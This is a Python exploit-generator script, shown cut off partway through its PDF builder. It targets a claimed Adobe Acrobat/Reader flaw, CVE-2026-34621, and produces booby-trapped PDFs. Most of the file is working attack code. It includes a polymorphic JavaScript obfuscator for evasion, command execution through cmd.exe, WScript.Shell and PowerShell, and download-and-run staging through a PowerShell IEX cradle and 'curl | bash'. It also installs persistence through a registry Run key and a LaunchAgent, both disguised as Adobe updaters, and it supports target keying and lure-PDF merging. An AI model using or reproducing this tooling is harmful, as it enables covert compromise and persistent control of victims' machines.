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| #!/usr/bin/env python3
"""
CVE-2026-34621 - Advanced Cross-Platform Exploit Generator
===========================================================
Generates a malicious PDF that exploits Adobe Acrobat/Reader
prototype pollution + sandbox escape vulnerability.
Features:
- OS auto-detection (Windows, macOS, mobile fallback)
- Multiple evasion techniques (obfuscation, keying, delays)
- Staged payloads and fileless execution
- Persistence installation
- Lure PDF merging
- Multiple trigger vectors
- Comprehensive reporting
FOR AUTHORIZED SECURITY TESTING ONLY.
"""
import argparse
import base64
import json
import os
import random
import re
import string
import sys
import time
from datetime import datetime
from html import escape as html_escape
from textwrap import dedent
print("""
███╗░░██╗██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░░█████╗░░█████╗░ ░█████╗░██╗░░██╗
████╗░██║██║░░░██║██║░░░░░██║░░░░░╚════██╗██╔══██╗██╔══██╗ ██╔══██╗██║░██╔╝
██╔██╗██║██║░░░██║██║░░░░░██║░░░░░░░███╔═╝██║░░██║██║░░██║ ██║░░██║█████═╝░
██║╚████║██║░░░██║██║░░░░░██║░░░░░██╔══╝░░██║░░██║██║░░██║ ██║░░██║██╔═██╗░
██║░╚███║╚██████╔╝███████╗███████╗███████╗╚█████╔╝╚█████╔╝ ╚█████╔╝██║░╚██╗
╚═╝░░╚══╝░╚═════╝░╚══════╝╚══════╝╚══════╝░╚════╝░░╚════╝░ ░╚════╝░╚═╝░░╚═╝
NULL200OK 💀🔥created by NABEEL 🔥💀
CVE-2026-34621 - Advanced Cross-Platform Exploit Generator
===========================================================
Generates a malicious PDF that exploits Adobe Acrobat/Reader
prototype pollution + sandbox escape vulnerability.
Features:
- OS auto-detection (Windows, macOS, mobile fallback)
- Multiple evasion techniques (obfuscation, keying, delays)
- Staged payloads and fileless execution
- Persistence installation
- Lure PDF merging
- Multiple trigger vectors
- Comprehensive reporting
FOR AUTHORIZED SECURITY TESTING ONLY.
""")
try:
from PyPDF2 import PdfReader, PdfWriter
PYPDF2_AVAILABLE = True
except ImportError:
PYPDF2_AVAILABLE = False
print("[!] PyPDF2 not installed. Lure PDF merging will be disabled.", file=sys.stderr)
# ============================================================================
# 1. UTILITIES
# ============================================================================
class RandomUtils:
"""Random generation helpers for polymorphism."""
@staticmethod
def random_string(length=8, chars=None):
"""Generate a random alphanumeric string."""
if chars is None:
chars = string.ascii_letters + string.digits
return ''.join(random.choices(chars, k=length))
@staticmethod
def random_var_name():
"""Generate a random JavaScript variable name."""
return '_' + RandomUtils.random_string(random.randint(6, 12), string.ascii_lowercase)
@staticmethod
def random_comment():
"""Generate a random junk comment."""
comments = [
"/* performance optimization */",
"/* debug: " + RandomUtils.random_string(20) + " */",
"// TODO: refactor",
"// FIXME: " + RandomUtils.random_string(10),
"/* " + RandomUtils.random_string(30) + " */",
]
return random.choice(comments)
# ============================================================================
# 2. JAVASCRIPT OBFUSCATOR (Polymorphic, Multi-Level)
# ============================================================================
class JavaScriptObfuscator:
"""
Apply obfuscation to JavaScript payload.
Supports multiple levels and polymorphic generation.
"""
def __init__(self, seed=None):
if seed:
random.seed(seed)
def obfuscate(self, js_code, level=1, polymorphic=True):
"""
Obfuscate JavaScript code.
level: 1 (basic), 2 (intermediate), 3 (advanced)
polymorphic: if True, uses random elements each run
"""
if level == 0:
return js_code
# Level 1: String to char code, variable renaming
if level >= 1:
js_code = self._string_to_charcode(js_code)
if polymorphic:
js_code = self._rename_variables(js_code)
# Level 2: Dead code injection, comment spam
if level >= 2:
js_code = self._inject_dead_code(js_code)
js_code = self._add_junk_comments(js_code)
# Level 3: Base64 encoding with eval wrapper
if level >= 3:
js_code = self._base64_wrap(js_code)
js_code = self.obfuscate(js_code, level=2, polymorphic=False) # double obfuscate
return js_code
def _string_to_charcode(self, js_code):
"""Convert string literals to String.fromCharCode() calls."""
def replacer(match):
s = match.group(1)
if len(s) < 3: # skip short strings
return match.group(0)
codes = ','.join(str(ord(c)) for c in s)
return f'String.fromCharCode({codes})'
# Match double-quoted strings (simple, not perfect but effective)
pattern = r'"([^"\\]*(\\.[^"\\]*)*)"'
return re.sub(pattern, replacer, js_code)
def _rename_variables(self, js_code):
"""Replace variable names with random ones."""
var_pattern = r'\b(var|let|const)\s+([a-zA-Z_$][a-zA-Z0-9_$]*)'
func_pattern = r'\bfunction\s+([a-zA-Z_$][a-zA-Z0-9_$]*)'
var_names = set(re.findall(var_pattern, js_code))
func_names = set(re.findall(func_pattern, js_code))
all_names = set()
for _, name in var_names:
all_names.add(name)
all_names.update(func_names)
# Create mapping
mapping = {}
for name in all_names:
if name not in ['app', 'util', 'console', 'Object', 'Array', 'Function',
'String', 'ActiveXObject', 'navigator', 'setTimeout',
'setInterval', 'eval', 'atob', 'btoa']:
mapping[name] = self.random_var_name()
# Replace
for old, new in mapping.items():
js_code = re.sub(rf'\b{old}\b', new, js_code)
return js_code
def _inject_dead_code(self, js_code):
"""Insert dead code blocks that never execute."""
dead_blocks = [
"if(false) { console.log('" + RandomUtils.random_string(10) + "'); }",
"while(false) { break; }",
"try { null.toString(); } catch(e) {}",
"switch(0) { case 1: break; default: break; }",
"{ let x = '" + RandomUtils.random_string(8) + "'; }",
]
lines = js_code.split('\n')
new_lines = []
for line in lines:
new_lines.append(line)
if random.random() < 0.3 and len(line.strip()) > 0:
new_lines.append(random.choice(dead_blocks))
return '\n'.join(new_lines)
def _add_junk_comments(self, js_code):
"""Sprinkle random comments."""
lines = js_code.split('\n')
new_lines = []
for line in lines:
if random.random() < 0.4 and line.strip() and not line.strip().startswith('//'):
line = random.choice(['// ', '/* ', '']) + RandomUtils.random_string(15) + random.choice([' */', '']) + '\n' + line
new_lines.append(line)
return '\n'.join(new_lines)
def _base64_wrap(self, js_code):
"""Encode the entire script in base64 and eval it."""
encoded = base64.b64encode(js_code.encode()).decode()
wrapper = f'eval(atob("{encoded}"));'
return wrapper
@staticmethod
def random_var_name():
return '_' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(8, 12)))
# ============================================================================
# 3. PAYLOAD GENERATOR (Cross-Platform, Staged, Persistent)
# ============================================================================
class PayloadGenerator:
"""
Generate JavaScript payload with OS detection, staging, persistence.
"""
def __init__(self, windows_cmd=None, mac_cmd=None, stage_url=None,
persistence=False, delay=0, env_key=None):
self.windows_cmd = windows_cmd or "calc.exe"
self.mac_cmd = mac_cmd or "open /System/Applications/Calculator.app"
self.stage_url = stage_url
self.persistence = persistence
self.delay = delay
self.env_key = env_key # target hostname/username for keying
def generate(self):
"""Generate the complete JavaScript payload."""
# Build the core exploit logic
core_js = self._build_core_exploit()
# Apply environment keying if requested
if self.env_key:
core_js = self._apply_environment_keying(core_js)
# Apply delay if requested
if self.delay > 0:
core_js = f"setTimeout(function() {{ {core_js} }}, {self.delay * 1000});"
# Wrap in self-executing function with random name for polymorphism
func_name = JavaScriptObfuscator.random_var_name()
wrapped = f"""
(function {func_name}() {{
{core_js}
}})();
"""
return wrapped
def _build_core_exploit(self):
"""Construct the core exploit code with OS branching."""
# Build Windows payload section
windows_payload = self._build_windows_payload()
mac_payload = self._build_mac_payload()
mobile_fallback = self._build_mobile_fallback()
js = f"""
// CVE-2026-34621 Cross-Platform Exploit
// Generated: {datetime.now().isoformat()}
// === Prototype Pollution (CVE-2026-34621) ===
try {{
Object.prototype.__defineGetter__('__trusted', function() {{ return true; }});
Object.prototype.constructor.prototype.bypass = true;
Object.prototype.__proto__.privileged = true;
Array.prototype.__proto__.polluted = true;
}} catch(e) {{}}
// === OS Detection ===
var os = 'unknown';
try {{
if (typeof app !== 'undefined' && app.platform) {{
var pf = app.platform.toLowerCase();
if (pf.indexOf('win') >= 0) os = 'windows';
else if (pf.indexOf('mac') >= 0) os = 'macos';
}}
if (os === 'unknown' && typeof navigator !== 'undefined') {{
var ua = navigator.userAgent.toLowerCase();
if (ua.indexOf('windows') >= 0) os = 'windows';
else if (ua.indexOf('mac') >= 0) os = 'macos';
else if (ua.indexOf('android') >= 0) os = 'android';
else if (ua.indexOf('iphone') >= 0 || ua.indexOf('ipad') >= 0) os = 'ios';
}}
// Adobe-specific mobile detection
if (typeof app !== 'undefined' && app.viewerType) {{
if (app.viewerType.toLowerCase().indexOf('mobile') >= 0) os = 'android'; // or ios
}}
}} catch(e) {{}}
// === OS-Specific Execution ===
try {{
if (os === 'windows') {{
{windows_payload}
}} else if (os === 'macos') {{
{mac_payload}
}} else {{
{mobile_fallback}
}}
}} catch(mainErr) {{}}
// Additional trigger: attempt privileged file read to escalate context
try {{
if (typeof util !== 'undefined' && util.readFileIntoStream) {{
var path = (os === 'windows') ? 'C:\\\\Windows\\\\win.ini' : '/etc/hosts';
util.readFileIntoStream({{cDIPath: path, bEncodeBase64: true}});
}}
}} catch(e) {{}}
"""
return js
def _build_windows_payload(self):
"""Generate Windows-specific execution chain."""
methods = []
# Direct command via cmd
cmd_escaped = self.windows_cmd.replace('\\', '\\\\').replace('"', '\\"')
methods.append(f'''
// Method 1: app.launchURL with cmd.exe
try {{
app.launchURL('file:///C:/Windows/System32/cmd.exe?/c ' + encodeURIComponent("{cmd_escaped}"), true);
}} catch(e1) {{}}
''')
# WScript.Shell (older Windows)
methods.append(f'''
// Method 2: ActiveX WScript.Shell
try {{
var shell = new ActiveXObject('WScript.Shell');
shell.Run("{cmd_escaped}", 0, false);
}} catch(e2) {{}}
''')
# PowerShell (modern, versatile)
if self.stage_url:
# Staged download via PowerShell
ps_cmd = f"powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('{self.stage_url}')\""
methods.append(f'''
// Method 3: PowerShell staged download
try {{
var shell = new ActiveXObject('WScript.Shell');
shell.Run("{ps_cmd}", 0, false);
}} catch(e3) {{}}
''')
else:
# Direct PowerShell execution
ps_cmd = f"powershell -Command \"{self.windows_cmd}\""
methods.append(f'''
// Method 3: PowerShell direct
try {{
var shell = new ActiveXObject('WScript.Shell');
shell.Run("{ps_cmd}", 0, false);
}} catch(e3) {{}}
''')
# Persistence (if enabled)
if self.persistence:
persist_cmd = r'powershell -NoP -Ep Bypass -C "$p=\'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\'; Set-ItemProperty -Path $p -Name \'AdobeUpdate\' -Value \'%TEMP%\\updater.exe\'"'
methods.append(f'''
// Persistence: registry Run key
try {{
var shell = new ActiveXObject('WScript.Shell');
shell.Run("{persist_cmd}", 0, false);
}} catch(e_persist) {{}}
''')
return '\n'.join(methods)
def _build_mac_payload(self):
"""Generate macOS-specific execution chain."""
methods = []
# Escape for shell
mac_cmd_escaped = self.mac_cmd.replace('\\', '\\\\').replace('"', '\\"')
# Terminal.app via file:// URL
methods.append(f'''
// Method 1: Terminal via file://
try {{
app.launchURL('file:///System/Applications/Utilities/Terminal.app/?' + encodeURIComponent("{mac_cmd_escaped}"), true);
}} catch(e1) {{}}
''')
# osascript URL scheme
methods.append(f'''
// Method 2: osascript
try {{
var script = 'do shell script "' + "{mac_cmd_escaped}" + '"';
app.launchURL('osascript://' + encodeURIComponent(script));
}} catch(e2) {{}}
''')
# Staged download via curl
if self.stage_url:
curl_cmd = f"curl -s {self.stage_url} | bash"
methods.append(f'''
// Method 3: curl pipe to bash
try {{
app.launchURL('file:///System/Applications/Utilities/Terminal.app/?' + encodeURIComponent("{curl_cmd}"), true);
}} catch(e3) {{}}
''')
# Persistence: LaunchAgent
if self.persistence:
plist = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict><key>Label</key><string>com.adobe.update</string><key>ProgramArguments</key><array><string>/bin/bash</string><string>-c</string><string>{mac_cmd_escaped}</string></array><key>RunAtLoad</key><true/></dict></plist>"""
plist_b64 = base64.b64encode(plist.encode()).decode()
persist_cmd = f"echo '{plist_b64}' | base64 -d > ~/Library/LaunchAgents/com.adobe.update.plist && launchctl load ~/Library/LaunchAgents/com.adobe.update.plist"
methods.append(f'''
// Persistence: LaunchAgent
try {{
app.launchURL('file:///System/Applications/Utilities/Terminal.app/?' + encodeURIComponent("{persist_cmd}"), true);
}} catch(e_persist) {{}}
''')
return '\n'.join(methods)
def _build_mobile_fallback(self):
"""Mobile demo behavior (since not vulnerable)."""
return '''
// Mobile platforms: demo fallback (not vulnerable)
try {
app.launchURL('https://www.example.com', true);
app.alert('Demo: This PDF would exploit CVE-2026-34621 on desktop.');
} catch(e) {}
'''
def _apply_environment_keying(self, js_code):
"""Wrap payload with hostname/username check."""
key_check = f"""
var targetKey = '{self.env_key}';
var currentKey = '';
try {{
// Try to get hostname
var shell = new ActiveXObject('WScript.Shell');
currentKey = shell.ExpandEnvironmentStrings('%COMPUTERNAME%');
}} catch(e) {{
try {{
currentKey = app.runtime.prefManager.getPref('hostname');
}} catch(e2) {{
try {{
var env = this.getEnvironment();
currentKey = env.COMPUTERNAME || env.HOSTNAME;
}} catch(e3) {{}}
}}
}}
if (currentKey.toUpperCase() === targetKey.toUpperCase()) {{
{js_code}
}}
"""
return key_check
# ============================================================================
# 4. PDF GENERATOR (Pure Python, with Lure Merging)
# ============================================================================
class PDFGenerator:
"""Generate malicious PDF with embedded JavaScript."""
def __init__(self):
self.objects = []
def build_pdf(self, js_code, lure_pdf_path=None, trigger_vector='openaction'):
"""
Build PDF with JavaScript payload.
trigger_vector: 'openaction', 'pageopen', 'doclevel'
"""
if lure_pdf_path and PYPDF2_AVAILABLE:
return self._merge_with_lure(lure_pdf_path, js_code, trigger_vector)
else:
return self._build_standalone_pdf(js_code, trigger_vector)
def _build_standalone_pdf(self, js_code, trigger_vector):
"""Create a minimal PDF from scratch."""
pdf = "%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"
# Object IDs
catalog_id = 1
pages_id = 2
page_id = 3
contents_id = 4
js_action_id = 5
js_script_id = 6
names_id = 7
doc_js_id = 8
# JavaScript object
js_obj = f"{js_script_id} 0 obj\n<< /JS {self._pdf_string(js_code)} /S /JavaScript >>\nendobj\n"
|
